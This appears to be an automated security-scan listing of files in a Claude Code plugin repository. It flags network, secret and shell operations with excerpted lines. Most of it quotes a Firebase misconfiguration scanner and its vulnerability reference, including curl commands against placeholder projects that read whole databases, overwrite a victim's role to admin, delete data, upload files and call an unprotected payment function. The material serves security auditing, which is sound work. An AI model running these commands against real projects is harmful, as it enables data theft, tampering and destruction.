plugins/entry-point-analyzer/.claude-plugin/plugin.json
plugins/entry-point-analyzer/skills/entry-point-analyzer/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/entry-point-analyzer/skills/entry-point-analyzer/references/cosmwasm.md
plugins/firebase-apk-scanner/skills/firebase-apk-scanner/SKILL.md
- Broad permissionsline 1
Bash({baseDir}/scanner.sh:*) Bash(apktool:*) Bash(curl:*) Read Grep Glob
plugins/firebase-apk-scanner/skills/firebase-apk-scanner/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/firebase-apk-scanner/skills/firebase-apk-scanner/references/manual-fallback.md
- Access to secretsline 25
[Credential-related source omitted] - Network accessline 29
# Test open signup curl -s -X POST -H "Content-Type: application/json" \ - Network accessline 30
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 34
# Test anonymous auth curl -s -X POST -H "Content-Type: application/json" \ - Network accessline 35
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Network accessline 37
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Network accessline 42
# Realtime Database read curl -s "https://PROJECT_ID.firebaseio.com/.json" - Network accessline 43
curl -s "https://PROJECT_ID.firebaseio.com/.json" - Network accessline 45
# Firestore read curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents" - Network accessline 46
curl -s "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents" - Network accessline 51
# List bucket curl -s "https://firebasestorage.googleapis.com/v0/b/PROJECT_ID.appspot.com/o" - Network accessline 52
curl -s "https://firebasestorage.googleapis.com/v0/b/PROJECT_ID.appspot.com/o" - Network accessline 57
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Network accessline 58
"https://firebaseremoteconfig.googleapis.com/v1/projects/PROJECT_ID/remoteConfig"
plugins/firebase-apk-scanner/skills/firebase-apk-scanner/references/vulnerabilities.md
- Network accessline 18
# Create arbitrary account via API curl -X POST \ - Network accessline 19
curl -X POST \ - Network accessline 20
[Credential-related source omitted] - Network accessline 22
"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" - Network accessline 78
# Get anonymous auth token curl -X POST \ - Network accessline 79
curl -X POST \ - Network accessline 80
-H "Content-Type: application/json" \ -d '{"returnSecureToken":true}' \ "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaXXXXXX" - Network accessline 82
"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaXXXXXX" - Network accessline 108
# Access "authenticated" resources with anonymous token curl "https://PROJECT.firebaseio.com/users.json?auth=eyJhbGciOiJSUzI1NiIs..." - Network accessline 109
curl "https://PROJECT.firebaseio.com/users.json?auth=eyJhbGciOiJSUzI1NiIs..." - Network accessline 136
curl -X POST \ - Network accessline 137
-H "Content-Type: application/json" \ -d '{"identifier":"victim@company.com","continueUri":"https://localhost"}' \ "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=AIzaXXXXXX" - Network accessline 138
-d '{"identifier":"victim@company.com","continueUri":"https://localhost"}' \ - Network accessline 139
"https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=AIzaXXXXXX" - Network accessline 185
# Read entire database curl "https://PROJECT-ID.firebaseio.com/.json" - Network accessline 186
curl "https://PROJECT-ID.firebaseio.com/.json" - Network accessline 188
# Read with shallow query (shows structure even if full read denied) curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true" - Network accessline 189
curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true" - Network accessline 191
# Read specific paths curl "https://PROJECT-ID.firebaseio.com/users.json" - Network accessline 192
curl "https://PROJECT-ID.firebaseio.com/users.json" - Network accessline 193
curl "https://PROJECT-ID.firebaseio.com/messages.json" - Network accessline 194
curl "https://PROJECT-ID.firebaseio.com/orders.json" - Network accessline 258
# Write arbitrary data curl -X PUT \ - Network accessline 259
curl -X PUT \ - Network accessline 260
-H "Content-Type: application/json" \ -d '{"attacker":"was_here","timestamp":1234567890}' \ "https://PROJECT-ID.firebaseio.com/pwned.json" - Network accessline 262
"https://PROJECT-ID.firebaseio.com/pwned.json" - Network accessline 264
# Overwrite existing data curl -X PUT \ - Network accessline 265
curl -X PUT \ - Network accessline 266
-H "Content-Type: application/json" \ -d '{"role":"admin"}' \ "https://PROJECT-ID.firebaseio.com/users/victim_uid/profile.json" - Network accessline 268
"https://PROJECT-ID.firebaseio.com/users/victim_uid/profile.json" - Network accessline 270
# Delete data curl -X DELETE "https://PROJECT-ID.firebaseio.com/important_data.json" - Network accessline 271
curl -X DELETE "https://PROJECT-ID.firebaseio.com/important_data.json" - Network accessline 322
# List root collections curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents" - Network accessline 323
curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents" - Network accessline 325
# Read specific collection curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users" - Network accessline 326
curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users" - Network accessline 328
# Read specific document curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users/admin" - Network accessline 329
curl "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users/admin" - Network accessline 334
# Create document curl -X POST \ - Network accessline 335
curl -X POST \ - Network accessline 336
-H "Content-Type: application/json" \ -d '{"fields":{"role":{"stringValue":"admin"},"injected":{"booleanValue":true}}}' \ "https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users" - Network accessline 338
"https://firestore.googleapis.com/v1/projects/PROJECT-ID/databases/(default)/documents/users" - Network accessline 401
# List all files in bucket curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o" - Network accessline 402
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o" - Network accessline 404
# Alternative: gs:// format bucket curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID/o" - Network accessline 405
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID/o" - Network accessline 429
# Download using the file path curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/user_uploads%2Fprivate_document.pdf?alt=media" - Network accessline 430
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/user_uploads%2Fprivate_document.pdf?alt=media" - Network accessline 478
# Upload arbitrary file curl -X POST \ - Network accessline 479
curl -X POST \ - Network accessline 480
-H "Content-Type: text/plain" \ --data-binary "malicious content here" \ "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?uploadType=media&name=pwned.txt" - Network accessline 482
"https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?uploadType=media&name=pwned.txt" - Network accessline 533
# Call unprotected function curl -X POST \ - Network accessline 534
curl -X POST \ - Network accessline 535
-H "Content-Type: application/json" \ -d '{"userId":"victim123","amount":0.01}' \ "https://us-central1-PROJECT-ID.cloudfunctions.net/processPayment" - Network accessline 537
"https://us-central1-PROJECT-ID.cloudfunctions.net/processPayment" - Network accessline 539
# Test callable function curl -X POST \ - Network accessline 540
curl -X POST \ - Network accessline 541
-H "Content-Type: application/json" \ -d '{"data":{}}' \ "https://us-central1-PROJECT-ID.cloudfunctions.net/adminFunction" - Network accessline 543
"https://us-central1-PROJECT-ID.cloudfunctions.net/adminFunction" - Network accessline 596
[Credential-related source omitted] - Network accessline 597
"https://firebaseremoteconfig.googleapis.com/v1/projects/PROJECT-ID/remoteConfig" - Network accessline 603
"parameters": { "api_endpoint": { "defaultValue": { "value": "https://internal-api.company.com" } - Network accessline 604
"api_endpoint": { "defaultValue": { "value": "https://internal-api.company.com" } }, - Network accessline 605
"defaultValue": { "value": "https://internal-api.company.com" } - Access to secretsline 732
[Credential-related source omitted] - Access to secretsline 733
[Credential-related source omitted] - Access to secretsline 734
[Credential-related source omitted] - Network accessline 777
# Authentication Tests curl -X POST -H "Content-Type: application/json" \ - Network accessline 778
[Credential-related source omitted] - Access to secretsline 778
[Credential-related source omitted] - Network accessline 780
[Credential-related source omitted] - Access to secretsline 780
[Credential-related source omitted] - Network accessline 782
# Anonymous Auth curl -X POST -H "Content-Type: application/json" \ - Network accessline 783
[Credential-related source omitted] - Access to secretsline 783
[Credential-related source omitted] - Network accessline 785
[Credential-related source omitted] - Access to secretsline 785
[Credential-related source omitted] - Network accessline 787
# Realtime Database curl "https://PROJECT.firebaseio.com/.json" - Network accessline 788
curl "https://PROJECT.firebaseio.com/.json" - Network accessline 789
curl "https://PROJECT.firebaseio.com/.json?shallow=true" - Network accessline 791
# Firestore curl "https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents" - Network accessline 792
curl "https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents" - Network accessline 794
# Storage curl "https://firebasestorage.googleapis.com/v0/b/PROJECT.appspot.com/o" - Network accessline 795
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT.appspot.com/o" - Network accessline 797
[Credential-related source omitted] - Network accessline 798
[Credential-related source omitted] - Access to secretsline 798
[Credential-related source omitted] - Network accessline 799
"https://firebaseremoteconfig.googleapis.com/v1/projects/PROJECT/remoteConfig" - Network accessline 801
# Cloud Functions curl "https://us-central1-PROJECT.cloudfunctions.net/functionName" - Network accessline 802
curl "https://us-central1-PROJECT.cloudfunctions.net/functionName"
plugins/firebase-apk-scanner/skills/firebase-apk-scanner/scanner.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 70
for cmd in apktool curl jq grep unzip sed awk strings; do - Network accessline 77
log_error "Missing dependencies:$missing" echo "Install with:" echo " macOS: brew install apktool curl jq binutils" - Network accessline 78
echo "Install with:" echo " macOS: brew install apktool curl jq binutils" echo " Ubuntu/Debian: sudo apt install apktool curl jq unzip binutils" - Network accessline 79
echo " macOS: brew install apktool curl jq binutils" - Dangerous shell operationline 80
echo " Ubuntu/Debian: sudo apt install apktool curl jq unzip binutils" - Network accessline 80
echo " Ubuntu/Debian: sudo apt install apktool curl jq unzip binutils" - Dangerous shell operationline 141
rm -rf "$dex_dir" - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Network accessline 201
local xml_db xml_db=$(grep -oE 'https://[^"<>]+\.firebaseio\.com[^"<>]*' "$xml_file" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 202
xml_db=$(grep -oE 'https://[^"<>]+\.firebaseio\.com[^"<>]*' "$xml_file" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 216
local xml_proj xml_proj=$(grep -oE 'https://([a-zA-Z0-9_-]+)\.firebaseio\.com' "$xml_file" 2>/dev/null | sed 's|https://||;s|\.firebaseio\.com||' | tr '\n' ' ' || true) - Network accessline 217
xml_proj=$(grep -oE 'https://([a-zA-Z0-9_-]+)\.firebaseio\.com' "$xml_file" 2>/dev/null | sed 's|https://||;s|\.firebaseio\.com||' | tr '\n' ' ' || true) - Network accessline 257
local asset_db asset_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$asset_file" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 258
asset_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$asset_file" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 303
local cfg_db cfg_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$config_path" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 304
cfg_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$config_path" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 317
local flutter_db flutter_db=$(strings "$flutter_file" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true) - Network accessline 318
flutter_db=$(strings "$flutter_file" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true) - Network accessline 336
local raw_db raw_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$raw_file" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 337
raw_db=$(grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' "$raw_file" 2>/dev/null | tr '\n' ' ' || true) - Network accessline 353
local smali_db smali_db=$(grep -r -h "const-string" "$smali_dir" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true) - Network accessline 354
smali_db=$(grep -r -h "const-string" "$smali_dir" 2>/dev/null | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true) - Network accessline 388
local raw_db raw_db=$(echo "$raw_strings" | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true) - Network accessline 389
raw_db=$(echo "$raw_strings" | grep -oE 'https://[a-zA-Z0-9_-]+\.firebaseio\.com' | tr '\n' ' ' || true) - Network accessline 424
local deep_db deep_db=$(grep -r -oh 'https://[a-zA-Z0-9_-]*\.firebaseio\.com' "$apk_dir" 2>/dev/null | sort -u | tr '\n' ' ' || true) - Network accessline 425
deep_db=$(grep -r -oh 'https://[a-zA-Z0-9_-]*\.firebaseio\.com' "$apk_dir" 2>/dev/null | sort -u | tr '\n' ' ' || true) - Network accessline 462
for url in $db_urls; do local proj proj="${url#https://}" - Network accessline 463
local proj proj="${url#https://}" proj="${proj%%.*}" - Network accessline 464
proj="${url#https://}" - Access to secretsline 517
[Credential-related source omitted] - Network accessline 526
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 527
[Credential-related source omitted] - Access to secretsline 527
[Credential-related source omitted] - Network accessline 528
-X POST \ -H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \ - Network accessline 529
-H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \ -d "{\"email\":\"${test_email}\",\"password\":\"${test_password}\",\"returnSecureToken\":true}" \ - Network accessline 530
[Credential-related source omitted] - Access to secretsline 530
[Credential-related source omitted] - Access to secretsline 541
[Credential-related source omitted] - Network accessline 544
[Credential-related source omitted] - Access to secretsline 544
[Credential-related source omitted] - Network accessline 545
[Credential-related source omitted] - Access to secretsline 545
[Credential-related source omitted] - Network accessline 546
-X POST \ -H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:delete?key=${api_key}" \ - Network accessline 547
-H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:delete?key=${api_key}" \ -d "{\"idToken\":\"${id_token}\"}" >/dev/null 2>&1 || true - Network accessline 548
[Credential-related source omitted] - Access to secretsline 548
[Credential-related source omitted] - Access to secretsline 549
[Credential-related source omitted] - Access to secretsline 567
[Credential-related source omitted] - Network accessline 572
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 573
[Credential-related source omitted] - Access to secretsline 573
[Credential-related source omitted] - Network accessline 574
-X POST \ -H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \ - Network accessline 575
-H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${api_key}" \ -d '{"returnSecureToken":true}' \ - Network accessline 576
[Credential-related source omitted] - Access to secretsline 576
[Credential-related source omitted] - Access to secretsline 589
[Credential-related source omitted] - Access to secretsline 600
[Credential-related source omitted] - Network accessline 608
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 609
[Credential-related source omitted] - Access to secretsline 609
[Credential-related source omitted] - Network accessline 610
-X POST \ -H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=${api_key}" \ - Network accessline 611
-H "Content-Type: application/json" \ "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=${api_key}" \ -d "{\"identifier\":\"${fake_email}\",\"continueUri\":\"https://localhost\"}" \ - Network accessline 612
[Credential-related source omitted] - Access to secretsline 612
[Credential-related source omitted] - Network accessline 613
-d "{\"identifier\":\"${fake_email}\",\"continueUri\":\"https://localhost\"}" \ - Network accessline 636
db_url="${db_url%/}" if ! echo "$db_url" | grep -q '^https://'; then - Network accessline 637
if ! echo "$db_url" | grep -q '^https://'; then - Network accessline 638
db_url="https://$db_url" - Network accessline 641
log_info "Testing RTDB read: $db_url" - Network accessline 647
response=$(curl -s -w "\nHTTP_CODE:%{http_code}" --max-time "$TIMEOUT_SECONDS" \ - Network accessline 649
"${db_url}/.json" 2>/dev/null || echo -e "\nHTTP_CODE:000") - Network accessline 654
if [ "$http_code" = "200" ] && [ "$body" != "null" ] && [ -n "$body" ]; then log_vuln "RTDB READ OPEN: $db_url" - Network accessline 655
log_vuln "RTDB READ OPEN: $db_url" - Network accessline 673
db_url="${db_url%/}" if ! echo "$db_url" | grep -q '^https://'; then - Network accessline 674
if ! echo "$db_url" | grep -q '^https://'; then - Network accessline 675
db_url="https://$db_url" - Network accessline 678
log_info "Testing RTDB write: $db_url" - Network accessline 684
response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 687
-H "User-Agent: $USER_AGENT" \ -d "$test_data" \ "${db_url}/${WRITE_TEST_PATH}.json" 2>/dev/null || echo '{}') - Network accessline 689
"${db_url}/${WRITE_TEST_PATH}.json" 2>/dev/null || echo '{}') - Network accessline 691
if echo "$response" | grep -q "security_test"; then log_vuln "RTDB WRITE OPEN: $db_url" - Network accessline 692
log_vuln "RTDB WRITE OPEN: $db_url" echo "VULNERABLE" >"$result_file" curl -s -X DELETE "${db_url}/${WRITE_TEST_PATH}.json" --max-time 5 >/dev/null 2>&1 || true - Network accessline 693
echo "VULNERABLE" >"$result_file" curl -s -X DELETE "${db_url}/${WRITE_TEST_PATH}.json" --max-time 5 >/dev/null 2>&1 || true return 0 - Network accessline 694
curl -s -X DELETE "${db_url}/${WRITE_TEST_PATH}.json" --max-time 5 >/dev/null 2>&1 || true - Network accessline 707
db_url="${db_url%/}" if ! echo "$db_url" | grep -q '^https://'; then - Network accessline 708
if ! echo "$db_url" | grep -q '^https://'; then - Network accessline 709
db_url="https://$db_url" - Network accessline 714
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 715
[Credential-related source omitted] - Access to secretsline 715
[Credential-related source omitted] - Network accessline 717
[Credential-related source omitted] - Access to secretsline 717
[Credential-related source omitted] - Network accessline 736
local base_url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents" - Network accessline 739
response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 760
local base_url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents" - Network accessline 763
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 764
response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 775
doc_name=$(echo "$response" | jq -r '.name // empty' 2>/dev/null || true) if [ -n "$doc_name" ]; then curl -s -X DELETE "https://firestore.googleapis.com/v1/${doc_name}" --max-time 5 >/dev/null 2>&1 || true - Network accessline 776
if [ -n "$doc_name" ]; then curl -s -X DELETE "https://firestore.googleapis.com/v1/${doc_name}" --max-time 5 >/dev/null 2>&1 || true fi - Network accessline 777
curl -s -X DELETE "https://firestore.googleapis.com/v1/${doc_name}" --max-time 5 >/dev/null 2>&1 || true - Network accessline 796
for collection in $common_collections; do local url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents/${collection}" - Network accessline 797
local url="https://firestore.googleapis.com/v1/projects/${project_id}/databases/(default)/documents/${collection}" - Network accessline 800
response=$(curl -s --max-time 5 "$url" 2>/dev/null || true) - Network accessline 832
local api_url="https://firebasestorage.googleapis.com/v0/b/${bucket}/o" - Network accessline 835
response=$(curl -s --max-time "$TIMEOUT_SECONDS" "$api_url" 2>/dev/null || echo '{}') - Network accessline 861
local api_url="https://firebasestorage.googleapis.com/v0/b/${bucket}/o" - Network accessline 865
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 866
response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 873
log_vuln "STORAGE BUCKET WRITABLE: $bucket" echo "VULNERABLE" >"$result_file" curl -s -X DELETE "${api_url}/${test_path}" --max-time 5 >/dev/null 2>&1 || true - Network accessline 874
echo "VULNERABLE" >"$result_file" curl -s -X DELETE "${api_url}/${test_path}" --max-time 5 >/dev/null 2>&1 || true return 0 - Network accessline 875
curl -s -X DELETE "${api_url}/${test_path}" --max-time 5 >/dev/null 2>&1 || true - Network accessline 906
local url="https://${region}-${project_id}.cloudfunctions.net/${func_name}" - Network accessline 909
http_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "$url" 2>/dev/null || echo "000") - Network accessline 939
local region="us-central1" local url="https://${region}-${project_id}.cloudfunctions.net/${function_name}" - Network accessline 940
local url="https://${region}-${project_id}.cloudfunctions.net/${function_name}" - Network accessline 942
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 943
response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Access to secretsline 967
[Credential-related source omitted] - Network accessline 972
local url="https://firebaseremoteconfig.googleapis.com/v1/projects/${project_id}/remoteConfig" - Network accessline 974
local response response=$(curl -s --max-time "$TIMEOUT_SECONDS" \ - Network accessline 975
[Credential-related source omitted] - Access to secretsline 975
[Credential-related source omitted] - Access to secretsline 976
[Credential-related source omitted] - Access to secretsline 1080
[Credential-related source omitted] - Access to secretsline 1081
[Credential-related source omitted] - Access to secretsline 1083
[Credential-related source omitted] - Access to secretsline 1086
[Credential-related source omitted] - Access to secretsline 1091
[Credential-related source omitted] - Access to secretsline 1097
[Credential-related source omitted] - Network accessline 1108
for db_url in $db_urls; do [ -z "$db_url" ] && continue - Network accessline 1109
[ -z "$db_url" ] && continue - Network accessline 1111
if test_rtdb_read "$db_url" "${apk_result_dir}/rtdb_read.txt"; then - Network accessline 1112
apk_vulnerable=true apk_vulns="$apk_vulns RTDB_READ:$db_url" fi - Network accessline 1113
apk_vulns="$apk_vulns RTDB_READ:$db_url" - Network accessline 1116
if test_rtdb_write "$db_url" "${apk_result_dir}/rtdb_write.txt"; then - Network accessline 1117
apk_vulnerable=true apk_vulns="$apk_vulns RTDB_WRITE:$db_url" fi - Network accessline 1118
apk_vulns="$apk_vulns RTDB_WRITE:$db_url" - Network accessline 1121
[Credential-related source omitted] - Access to secretsline 1121
[Credential-related source omitted] - Network accessline 1122
[Credential-related source omitted] - Access to secretsline 1122
[Credential-related source omitted] - Network accessline 1123
apk_vulnerable=true apk_vulns="$apk_vulns RTDB_ANON_ACCESS:$db_url" fi - Network accessline 1124
apk_vulns="$apk_vulns RTDB_ANON_ACCESS:$db_url" - Network accessline 1134
if test_firestore_read "$project_id" "${apk_result_dir}/firestore_read.txt"; then apk_vulnerable=true apk_vulns="$apk_vulns FIRESTORE_READ:$project_id" - Network accessline 1135
apk_vulnerable=true apk_vulns="$apk_vulns FIRESTORE_READ:$project_id" fi - Network accessline 1136
apk_vulns="$apk_vulns FIRESTORE_READ:$project_id" - Network accessline 1139
if test_firestore_write "$project_id" "${apk_result_dir}/firestore_write.txt"; then apk_vulnerable=true apk_vulns="$apk_vulns FIRESTORE_WRITE:$project_id" - Network accessline 1140
apk_vulnerable=true apk_vulns="$apk_vulns FIRESTORE_WRITE:$project_id" fi - Network accessline 1141
apk_vulns="$apk_vulns FIRESTORE_WRITE:$project_id" - Network accessline 1144
if test_firestore_collections "$project_id" "${apk_result_dir}/firestore_collections.txt"; then apk_vulnerable=true apk_vulns="$apk_vulns FIRESTORE_COLLECTIONS:$project_id" - Network accessline 1145
apk_vulnerable=true apk_vulns="$apk_vulns FIRESTORE_COLLECTIONS:$project_id" fi - Network accessline 1146
apk_vulns="$apk_vulns FIRESTORE_COLLECTIONS:$project_id" - Network accessline 1158
if test_storage_bucket "$bucket" "${apk_result_dir}/storage_read.txt"; then apk_vulnerable=true apk_vulns="$apk_vulns STORAGE_LISTABLE:$bucket" - Network accessline 1159
apk_vulnerable=true apk_vulns="$apk_vulns STORAGE_LISTABLE:$bucket" fi - Network accessline 1160
apk_vulns="$apk_vulns STORAGE_LISTABLE:$bucket" - Network accessline 1163
if test_storage_bucket_write "$bucket" "${apk_result_dir}/storage_write.txt"; then apk_vulnerable=true apk_vulns="$apk_vulns STORAGE_WRITABLE:$bucket" - Network accessline 1164
apk_vulnerable=true apk_vulns="$apk_vulns STORAGE_WRITABLE:$bucket" fi - Network accessline 1165
apk_vulns="$apk_vulns STORAGE_WRITABLE:$bucket" - Network accessline 1183
if test_callable_function "$first_project" "$func_name" "${apk_result_dir}/functions_callable.txt"; then apk_vulnerable=true apk_vulns="$apk_vulns FUNCTION_NO_AUTH:$func_name" - Network accessline 1184
apk_vulnerable=true apk_vulns="$apk_vulns FUNCTION_NO_AUTH:$func_name" fi - Network accessline 1185
apk_vulns="$apk_vulns FUNCTION_NO_AUTH:$func_name" - Access to secretsline 1193
[Credential-related source omitted] - Network accessline 1196
[Credential-related source omitted] - Access to secretsline 1196
[Credential-related source omitted] - Network accessline 1197
apk_vulnerable=true apk_vulns="$apk_vulns REMOTE_CONFIG_EXPOSED" fi - Network accessline 1198
apk_vulns="$apk_vulns REMOTE_CONFIG_EXPOSED" - Network accessline 1206
VULNERABLE_APKS=$((VULNERABLE_APKS + 1)) echo "VULNERABLE" >"${apk_result_dir}/status.txt" echo "$apk_vulns" | tr ' ' '\n' | grep -v '^$' >"${apk_result_dir}/vulnerabilities.txt" - Network accessline 1207
echo "VULNERABLE" >"${apk_result_dir}/status.txt" echo "$apk_vulns" | tr ' ' '\n' | grep -v '^$' >"${apk_result_dir}/vulnerabilities.txt" local vuln_count - Network accessline 1208
echo "$apk_vulns" | tr ' ' '\n' | grep -v '^$' >"${apk_result_dir}/vulnerabilities.txt" - Network accessline 1210
vuln_count=$(echo "$apk_vulns" | wc -w | tr -d ' ') - Dangerous shell operationline 1413
rm -rf "$DECOMPILED_DIR"
plugins/fp-check/skills/fp-check/SKILL.md
- Broad permissionsline 1
Read Grep Glob LSP Bash Task Write Edit AskUserQuestion TaskCreate TaskUpdate TaskList TaskGet
plugins/fp-check/skills/fp-check/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/gh-cli/.claude-plugin/plugin.json
- Network accessline 2
"name": "gh-cli", "version": "1.6.3", "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.", - Network accessline 3
"version": "1.6.3", "description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.", "author": { - Network accessline 4
"description": "Intercepts GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, redirecting to the authenticated gh CLI.", - Network accessline 6
"name": "William Tan", "email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" - Network accessline 7
"email": "opensource@trailofbits.com", "url": "https://github.com/trailofbits" } - Network accessline 8
"url": "https://github.com/trailofbits"
plugins/gh-cli/hooks/hooks.json
- Network accessline 1
{ "description": "Intercept GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, suggest gh CLI instead. PATH shim blocks gh anti-patterns. Clean up cloned repos on session end.", - Network accessline 2
"description": "Intercept GitHub URL fetches (WebFetch and MCP fetch tools) and curl/wget commands, suggest gh CLI instead. PATH shim blocks gh anti-patterns. Clean up cloned repos on session end.",
plugins/gh-cli/skills/gh-cli/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/git-cleanup/.claude-plugin/plugin.json
plugins/github-triage/.claude-plugin/plugin.json
plugins/github-triage/skills/github-triage/.calcifier/recipe.py
- Executable scriptline 1
Executable file - Network accessline 63
continue match = re.fullmatch( r"(?:https://github\.com/|git@github\.com:|" - Network accessline 64
match = re.fullmatch( r"(?:https://github\.com/|git@github\.com:|" r"ssh://git@github\.com/)([A-Za-z0-9._-]+/[A-Za-z0-9._-]+)/?", - Network accessline 65
r"(?:https://github\.com/|git@github\.com:|"
plugins/github-triage/skills/github-triage/SKILL.md
plugins/github-triage/skills/github-triage/assets/trail-of-bits-mark.svg
- Network accessline 1
